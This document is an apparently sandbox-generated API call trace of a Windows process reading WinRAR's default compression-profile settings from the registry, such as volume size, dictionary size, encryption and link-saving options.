RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20000) returned 0x28b084ef500 [0060.656] GetLastError () returned 0x5b0 [0060.656] SetLastError (dwErrCode=0x5b0) [0060.656] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.656] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtDataWide", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x28b084ef500, lpcbData=0xf00f8f9a10*=0x20000 | out: lpType=0xf00f8f9a14*=0x3, lpData=0x28b084ef500*, lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.656] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.656] GetLastError () returned 0x5b0 [0060.656] SetLastError (dwErrCode=0x5b0) [0060.656] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.656] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtTextWide", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x28b084ef500, lpcbData=0xf00f8f9a10*=0x20000 | out: lpType=0xf00f8f9a14*=0x0, lpData=0x28b084ef500*=0x0, lpcbData=0xf00f8f9a10*=0x20000) returned 0x2 [0060.656] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.656] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x10000) returned 0x28b0850f510 [0060.657] GetLastError () returned 0x5b0 [0060.657] SetLastError (dwErrCode=0x5b0) [0060.657] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.657] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtTextData", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x28b0850f510, lpcbData=0xf00f8f9a10*=0x10000 | out: lpType=0xf00f8f9a14*=0x0, lpData=0x28b0850f510*=0x0, lpcbData=0xf00f8f9a10*=0x10000) returned 0x2 [0060.658] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28b0850f510, cbMultiByte=-1, lpWideCharStr=0x28b084ef500, cchWideChar=65536 | out: lpWideCharStr="") returned 1 [0060.658] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0850f510 | out: hHeap=0x28b08430000) returned 1 [0060.658] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ef500 | out: hHeap=0x28b08430000) returned 1 [0060.659] GetLastError () returned 0x5b0 [0060.659] SetLastError (dwErrCode=0x5b0) [0060.659] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.659] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolumeSize", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0xf00f8fa460, lpcbData=0xf00f8f9a10*=0x64 | out: lpType=0xf00f8f9a14*=0x1, lpData="0", lpcbData=0xf00f8f9a10*=0x4) returned 0x0 [0060.659] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.659] GetLastError () returned 0x5b0 [0060.659] SetLastError (dwErrCode=0x5b0) [0060.659] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.659] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolSizeMod", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x2, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.659] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.659] GetLastError () returned 0x5b0 [0060.659] SetLastError (dwErrCode=0x5b0) [0060.659] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.659] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolPause", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.659] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.659] GetLastError () returned 0x5b0 [0060.659] SetLastError (dwErrCode=0x5b0) [0060.659] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.659] RegQueryValueExW (in: hKey=0x2f0, lpValueName="OldVolNames", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.659] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.659] GetLastError () returned 0x5b0 [0060.659] SetLastError (dwErrCode=0x5b0) [0060.659] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.659] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecVolNumber", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.659] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.660] GetLastError () returned 0x5b0 [0060.660] SetLastError (dwErrCode=0x5b0) [0060.660] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Update", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.660] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.660] GetLastError () returned 0x5b0 [0060.660] SetLastError (dwErrCode=0x5b0) [0060.660] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Fresh", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.660] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.660] GetLastError () returned 0x5b0 [0060.660] SetLastError (dwErrCode=0x5b0) [0060.660] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SyncFiles", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.660] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.660] GetLastError () returned 0x5b0 [0060.660] SetLastError (dwErrCode=0x5b0) [0060.660] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Overwrite", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.660] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.660] GetLastError () returned 0x5b0 [0060.660] SetLastError (dwErrCode=0x5b0) [0060.660] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.660] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Move", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.660] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.660] GetLastError () returned 0x5b0 [0060.660] SetLastError (dwErrCode=0x5b0) [0060.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcRecBin", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.661] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.661] GetLastError () returned 0x5b0 [0060.661] SetLastError (dwErrCode=0x5b0) [0060.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcWipe", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.661] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.661] GetLastError () returned 0x5b0 [0060.661] SetLastError (dwErrCode=0x5b0) [0060.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x2f0, lpValueName="WipeIfPassword", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.661] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.661] GetLastError () returned 0x5b0 [0060.661] SetLastError (dwErrCode=0x5b0) [0060.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Solid", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.661] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.661] GetLastError () returned 0x5b0 [0060.661] SetLastError (dwErrCode=0x5b0) [0060.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Test", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.661] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.661] GetLastError () returned 0x5b0 [0060.661] SetLastError (dwErrCode=0x5b0) [0060.661] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.661] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecEnabled", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.662] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.662] GetLastError () returned 0x5b0 [0060.662] SetLastError (dwErrCode=0x5b0) [0060.662] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.662] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecSize", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0xfffffffd, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.662] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.662] GetLastError () returned 0x5b0 [0060.662] SetLastError (dwErrCode=0x5b0) [0060.662] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.662] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Recovery", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x0, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x2 [0060.662] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.662] GetLastError () returned 0x5b0 [0060.662] SetLastError (dwErrCode=0x5b0) [0060.662] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.662] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EraseDest", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.662] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.662] GetLastError () returned 0x5b0 [0060.662] SetLastError (dwErrCode=0x5b0) [0060.662] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.662] RegQueryValueExW (in: hKey=0x2f0, lpValueName="AddArcOnly", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.662] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.662] GetLastError () returned 0x5b0 [0060.662] SetLastError (dwErrCode=0x5b0) [0060.662] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.662] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ClearArc", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.662] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.662] GetLastError () returned 0x5b0 [0060.663] SetLastError (dwErrCode=0x5b0) [0060.663] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.663] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Lock", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.663] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.663] GetLastError () returned 0x5b0 [0060.663] SetLastError (dwErrCode=0x5b0) [0060.663] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.663] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Method", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x3, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.663] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.663] GetLastError () returned 0x5b0 [0060.663] SetLastError (dwErrCode=0x5b0) [0060.663] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.663] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DictSizeLZ", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x400000, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.663] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.663] GetLastError () returned 0x5b0 [0060.663] SetLastError (dwErrCode=0x5b0) [0060.663] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.663] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DictSize", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x2000000, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.663] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.663] GetLastError () returned 0x5b0 [0060.663] SetLastError (dwErrCode=0x5b0) [0060.663] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.663] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Name", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0xf00f8fa570, lpcbData=0xf00f8f9a10*=0x200 | out: lpType=0xf00f8f9a14*=0x1, lpData="Default Profile", lpcbData=0xf00f8f9a10*=0x20) returned 0x0 [0060.663] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.664] GetLastError () returned 0x5b0 [0060.664] SetLastError (dwErrCode=0x5b0) [0060.664] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f7fb0 | out: phkResult=0xf00f8f7fb0*=0x2f0) returned 0x0 [0060.664] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PasswordData", lpReserved=0x0, lpType=0xf00f8f8414, lpData=0xf00f8fa070, lpcbData=0xf00f8f8410*=0x200 | out: lpType=0xf00f8f8414*=0x3, lpData=0xf00f8fa070*, lpcbData=0xf00f8f8410*=0x1) returned 0x0 [0060.664] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.664] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x200) returned 0x28b08468770 [0060.664] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08468770 | out: hHeap=0x28b08430000) returned 1 [0060.664] GetLastError () returned 0x5b0 [0060.664] SetLastError (dwErrCode=0x5b0) [0060.664] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f8840 | out: phkResult=0xf00f8f8840*=0x2f0) returned 0x0 [0060.664] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EncryptHeaders", lpReserved=0x0, lpType=0xf00f8f8ca4, lpData=0xf00f8f8ca0, lpcbData=0xf00f8f8cd8*=0x4 | out: lpType=0xf00f8f8ca4*=0x4, lpData=0xf00f8f8ca0*=0x0, lpcbData=0xf00f8f8cd8*=0x4) returned 0x0 [0060.664] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.664] GetLastError () returned 0x5b0 [0060.664] SetLastError (dwErrCode=0x5b0) [0060.664] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f8840 | out: phkResult=0xf00f8f8840*=0x2f0) returned 0x0 [0060.664] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ZipLegacyEncrypt", lpReserved=0x0, lpType=0xf00f8f8ca4, lpData=0xf00f8f8ca0, lpcbData=0xf00f8f8cd8*=0x4 | out: lpType=0xf00f8f8ca4*=0x4, lpData=0xf00f8f8ca0*=0x0, lpcbData=0xf00f8f8cd8*=0x4) returned 0x0 [0060.664] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.664] GetLastError () returned 0x5b0 [0060.664] SetLastError (dwErrCode=0x5b0) [0060.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.665] RegQueryValueExW (in: hKey=0x2f0, lpValueName="OpenShared", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.665] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.665] GetLastError () returned 0x5b0 [0060.665] SetLastError (dwErrCode=0x5b0) [0060.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.665] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ProcessOwners", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.665] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.665] GetLastError () returned 0x5b0 [0060.665] SetLastError (dwErrCode=0x5b0) [0060.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.665] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveStreams", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.665] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.665] GetLastError () returned 0x5b0 [0060.665] SetLastError (dwErrCode=0x5b0) [0060.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.665] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveSymLinks", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.665] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.665] GetLastError () returned 0x5b0 [0060.665] SetLastError (dwErrCode=0x5b0) [0060.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.665] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveHardLinks", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.665] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.665] GetLastError () returned 0x5b0 [0060.665] SetLastError (dwErrCode=0x5b0) [0060.665] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.665] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Background", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 